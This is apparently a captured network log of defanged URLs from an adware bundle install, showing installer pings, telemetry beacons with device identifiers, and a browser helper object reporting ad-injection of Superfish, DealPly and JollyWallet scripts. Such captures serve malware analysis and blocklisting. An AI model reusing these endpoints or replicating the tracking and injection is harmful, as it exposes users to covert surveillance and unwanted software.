hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/dealdo/event-report?type=quick&topic=suzan_instend&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e&cb=764701&existingVer=&existingPartner=&existingChannel=&slug=pricefountain&default_browser=1&ieVer=31302e302e393230302e3136353231&firefoxVer=32392e302e312028656e2d555329&chromeVer=33352e302e313931362e313533&operaVer=&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&ieproc=0&ffproc=0&chproc=0
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&type=quick&topic=suzan_wdrun&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420623208&SBPIDS=1	212.143.22.214
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=3&index_in_screen=1&index_in_session=3&0.09721619228999617
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=4&index_in_screen=1&index_in_session=4&0.6002109252004877
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=765184&mode=nolsp
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&rand=765184&opdom=pricejs.net&type=quick&topic=suzan_exestrt&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e
hxxp://installer.betterinstaller.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=4&index_in_screen=1&index_in_session=4&0.8198936694568728
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=767306&mode=nolsp
hxxp://rep.shopper-pro.com/app/ping.ashx?e=4tsL8HS5LX6yUxg71rJbZoyYEmaEZ7j6iUSU3wY9EyZgKkdlz1lRodCJn6eLsjsLqfxMJlhf/MF4ibS7Xw5g1/Eh6MhNwuPK/q uWdH3fIU5l6kGsLGUjlAO3ZfaMMIS8OExMbLEeIflCy6ejQnT1EjfzVJkDqJc97GtiEVqJ0OgxcPC1hcuIIzquPWwCukZgQ7P4 BWPQu3sb/Jc9bi4CY6tkU PjWGlHVWy8T0I6XgvyObhcmYFfoQPhwnxcMnH8cmC40fo8m LpSFSTxKL2ljD9Jcv2RRzMtYCZQQKWsHziGOgUEYWqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRneN3TlMvu4BSxexsDMFYdg0/niVdnGaSp2RYIisGWDvAeyr4tfj3UX1eBjU8ffaQi/t4slBWfaBypkCJ ISQ7 Vi CwQoUoiMhU/k p55wA=	54.197.238.106
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420623257&SBPIDS=1	212.143.22.214
hxxp://test.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE
hxxp://test.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE
hxxp://test.youtubeaccelerator.com/styles/yta.css?v=1
hxxp://test.youtubeaccelerator.com/js/jquery-1.8.3.min.js
hxxp://pagead.l.doubleclick.net/pagead/conversion.js
hxxp://rep.shopper-pro.com/app/ping.ashx?e=QHucCbLl /bcrHBJLG9UX1Kl9avhKFDd62ls PLHCLDT03ZwnpMmri4u 59fITlqZYykKzv0Y5pOzBB1YFiFDi7au8zDkX8X4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjFx1x5aBaFiG9r3eipYablJaA6bIp4wLuBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzEGEjQJyNURYqMy0/V3kNGUgPiYgL5hQXHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qxojVXrHm4EUETzTZ4WWsKIRGtI/B VPIX	54.197.238.106
hxxp://test.youtubeaccelerator.com/img/youtube-accelerator-logo.png
hxxp://test.youtubeaccelerator.com/img/accelerating-videos.jpg
hxxp://test.youtubeaccelerator.com/googleanalytics.js
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js
hxxp://test.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish
hxxp://0zkd4qqp4om-su78sj1t.netdna-ssl.com/app/t.ashx?uid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDkyYThhZDQ2LWJjOGQtNGZkMi05YWU4LTg1YjU0MTVlOWVlYywmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTgzJkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1420623258&aff=JSsmtycl&ver=2.0.7791.1462
hxxp://test.youtubeaccelerator.com/YTAFinishInstall.gif
hxxp://flex.msn.com.nsatc.net/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js
hxxp://dpcdn.com/sbitin/javascript.js?hid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&apptitle=ShopperPro&channel=iF17wJSsmtycl
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=iF17wJSsmtycl&name=ShopperPro
hxxp://dpcdn.com/opt_content.js?v=opt_1419351787852&partner=sbitin&channel=sbitiniF17wJSsmtycl&sset=7&appTitle=ShopperPro&sset=7&ip=193.138.244.231
hxxp://pagead.l.doubleclick.net/pagead/conversion/971163981/?random=1420623259291&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?b4f4f5e2075a9e10
hxxp://flex.msn.com.nsatc.net/mstag/mstag.1003102000.js
hxxp://d13j8bqw-l8bu4n1j.netdna-ssl.com/gen/helper.js
hxxp://www-google-analytics.l.google.com/analytics.js
hxxp://cdn.visadd.com.cdn.cloudflare.net/script/14567725608/preload.js?subid=F17wsmtycl1-92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec
hxxp://pagead.l.doubleclick.net/pagead/viewthroughconversion/971163981/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0
hxxp://www-google-analytics.l.google.com/r/collect?v=1&_v=j31&a=951836264&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1310018547&cid=1963142124.1420623260&tid=UA-40752970-2&_r=1&z=2134389475
hxxp://flex.msn.com.nsatc.net/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900
hxxp://www.google.com/ads/conversion/971163981/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=875502920
hxxp://d2cnb4m0nke2lh.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js	54.192.47.8
hxxp://www.google.com.ua/ads/conversion/971163981/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=875502920&ipr=y
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://www.youtubeaccelerator.com&xdm_c=default8849&xdm_p=1
hxxp://test.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=
hxxp://r.msn.com.nsatc.net/?type=1&domainId=3026708&dedup=1&actionid=238238
hxxp://a.visadd.com/script/layer?pid=14567725608&ln=en
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/Beat.js
hxxp://pzcdn.com/somopf/common.js?hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&channel=somopf&instgrp=20141204__1086__lnk_aromani_70
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=
hxxp://0zkd4qqp4om-su78sj1t.netdna-ssl.com/api/geo?callback=Beat1110021684825445448025_1420623259121&_=1420623259122
hxxp://a.visadd.com/script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.7720672379826277&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&loc=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&dm=www.youtubeaccelerator.com&subid=F17wsmtycl1-92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&um=Powered by Shopper-Pro
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js?v=230&domain=zb8da386b03122aa41bea079711f430f5zce210e711f94f3dfb9aba8a77e2128c8z270e890f3e9baacc96c0d9428a3195d7zfa7c8af5304a3392922f34e32b677892zf5dde6ea6b27bdcacbac28274daf3a00ze3a52fd8f8d85a0733e461f9a6fd8f2dz50cfd0ac63ed9d9916963ee201fbb0b7z732a17dd70f8fe3c0de4230a126fd8a5&geo=UA
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.6276737324109489&guid=
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.7000383631906624&guid=
hxxp://superfish.com/ws/sf_preloader.jsp?dlsource=viktczu&userId=92a8ad46bc8d4fd29ae885b5415e9eec&partnername=ShopperPro&CTID=xUSiF17wJSsmtycl&ver=2015.1.5.0.55
hxxp://superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.1.5.0.55
hxxp://superfish.com/ws/getUD.action?dlsource=viktczu&userId=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&ver=14.12.23
hxxp://superfish.com/ws/tu.action?userId=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&referrer=&page_url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE
hxxp://superfish.com/ws/sf_code.jsp?dlsource=viktczu&userid=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&partnername=pelmmbomol&CTID=xUSiF17wJSsmtycl&ver=2015.1.5.0.55
hxxp://superfish.com/ws/slideup2/main.js?ver=2015.1.5.0.55
hxxp://superfish.com/ws/side_slider/main.js?ver=2015.1.5.0.55
hxxp://superfish.com/ws/js/base_single_icon.js?ver=2015.1.5.0.55
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.7.1/jquery.min.js
hxxp://test.youtubeaccelerator.com/favicon.ico
hxxp://dpcdn.com/sbitin/javascript.js?hid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&apptitle=ShopperPro&channel=IF17wsmtycl
hxxp://jwproductionvpclb-1443422270.us-east-1.elb.amazonaws.com/affiliate/client?dist=141&sub=IF17wsmtycl&name=ShopperPro
hxxp://0zkd4qqp4om-su78sj1t.netdna-ssl.com/app/t.ashx?uid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&bn=IE&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDkyYThhZDQ2LWJjOGQtNGZkMi05YWU4LTg1YjU0MTVlOWVlYywmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTgzJkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1420623270&aff=smtycl&ver=2.0.7791.1462
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Inject&text=GeneralInjector&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Inject&text=GoobzoInfo&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Init&text=BHO version: 1.0.1.4. IE version: 10.0.9200.16521. DB name: database1_0_0.json. DB version: 1.0.0.6&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Inject&text=JollyWallet&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Inject&text=DealPly&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaTh5ipZ7ov36EQJFr7qb9z8c2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi&product=EXTBHO&bhov=1.0.1.4&rnd=2983&action=Inject&text=SuperFish&usid=2858020935-2156992550-3658131804&pixguid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&it=12	54.197.238.106
hxxp://dpcdn.com/-889787909.js?dn=youtubeaccelerator.com&isc=0
hxxp://maginot3-2045301360.us-east-1.elb.amazonaws.com/dealdo/shoppingjs4?b=Chy9mZaMDhnSptaMzgf0yt0Ln0iLmJjOmxmLmJiLm0eLnuiLmJjuAgfUAYuYmhLVDsuYmgzVCIuYmgLUC3rHBgXPBMCLmJbzB3vuDwjLjtiWqwnJzwXLCMf0B3iLmJiLnuqLmKmLmJj0AxrSzsuYmIuZqsuYmLrOyw5RjtiWEw91jtiWzM9YjtiWsw5ZDgfSBgLUzYuYmfLVDvr1yMuLmJbby2nLBgvYyxrVCIuYmIuYqYuYmMrVBwfPBIuYmIuZqsuYmND3DY55B3v0DwjLywnJzwXLCMf0B3iUy29TjtiYjtjdjtiYDxjSjtiYjtnbjtiYAhr0CcuZqsuYrIuYrND3DY55B3v0DwjLywnJzwXLCMf0B3iUy29TjtjgzMLUAxnOAw5ZDgfSBcuYrIuZrLzbx1yLm0qZlJmUos40jti2vKfFqwzMjtneC210EwnSmv8WxZbFmf8WjtjdotjHogfKndyTyMm4zc00zMqYltLHztGTodvIntqXnwu5zwvJjtjdjti2vKfFyNiLm0rot05fjti2vKfFyxnRjtnetK9orsuYnLzbx0jLDgeLm0qWjti2vKfFtw9KzsuZrdmLmJzwqv9pu1zLCIuZrfDPBMrVD3nFnYuYnLzbx0LZq29UBMvJDgvKjtnemsuYnLzbx3nYyYuZrdeLmJzWCIuZrdeLmJzuu0KLm0q4mYuYnKj1BMrSzuLejtnetK9orsuYmIuYqYuYmMnHBIuYmIuZqsuYmMH0DhaLm0eLmKyLmKz3D3CUEw91DhvIzwfJy2vSzxjHDg9YlMnVBsuYrMzPBMLZAgLUC3rHBgWLmKyLmJiLmKmLmJjLBMmLmJiLm0eLmJj1DgyTocuYmIuYqYuYmNDUyw1LjtiYjtnbjtiYmtCZmdKZntGLmJiLmKmLmJjPC0nVBvGLmJiLm0eLmJjpsYuZqwrLzJaLmJiLmKmLmJjKCfnLC3nPB25jzcuYmIuZqsuYmJe0mJa2mJmYnJK4ota3mJy3jtiYjtjdjtiYrgvHBfbSEsuYmIuZqsuYmM50DNf6CNDXDIuYmIuYqYuYmMrTBIuYmIuZqsuYmNLVDxr1yMvHy2nLBgvYyxrVCI5JB20LmJiLmKmLmJjMAxjZDfrPBwuLmJiLm0eLmJjMywXZzsuYmIu3rczJBhy9mtqXotm1mtC4nZG1mIzXBt0WjMnIptG5mszWyxj0BMvYpxnIAxrPBIzOCMq9otjHogfKndyTyMm4zc00zMqYltLHztGTodvIntqXnwu5zwvJjMHYzhnYyZ0MDMvOAwnSzt0My2HHBM5LBd1ZyML0Aw5PrJe3D0PtC210EwnSjNnZzxq9nYzHChb0pvnOB3bWzxjqCM8MAxr5Cgu9AszLEhq9x18MDha9BNvSBcz2CJ0MBhrPBwu9mtqYmdyYmZi2otG5mszKB209C2jPDgLUANmUAw5MBYzZzwXMps4Mzg9TCMvMzxjYzxi9jNbSAw5RpszOBgLUAZ0MAw5ZDgDYCd0MAwfNpwnSAwvUDdeWmc4UjMnVB2TPzxntDgf0Dxm9y29VA2LLrw5HyMXLza==
hxxp://superfish.com/ws/products/main.js?v=2015.1.5.0.55&partnername=pelmmbomol
hxxp://superfish.com/ws/css/main.css?v=2015.1.5.0.55
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.20595239031099377&guid=
hxxp://superfish.com/ws/getSupportedSitesJSON.action?ver=14.11.12.1&callback=SF_isURISupported
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/e?type=quick&topic=pf_suzan_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.6108539702585893&guid=
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/e?type=heart_bit&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&sset=7&cb=115_0_7&src=midn8&userAgent=Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
hxxp://dpcdn.com/somopf/javascript.js?channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&instgrp=20141204__1086__lnk_aromani_70&trinity=Z15d7t64614c
hxxp://e6845.ce.akamaiedge.net/crls/secureca.crl
hxxp://e8218.ce.akamaiedge.net/MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg==
hxxp://youtube-ui.l.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCH1CfE6L0C4G
hxxp://superfish.com/ws/retargeting/main.js?ver=2015.1.5.0.55
hxxp://superfish.com/ws/retargeting/server_layer.html?dlsource=viktczu&userid=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&CD_CTID=xUSiF17wJSsmtycl&version=2015.1.5.0.55&pageUrl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://www.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=&tier1_curr_group=531&tier1_next_group=177&tier1_prev_group=685&tier2_bucket=2014w47_offer_cut_end&tier2_curr_group=212&tier2_next_group=386&tier2_prev_group=526
hxxp://events-collector-1435457350.us-east-1.elb.amazonaws.com/e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.54663303978589&guid=
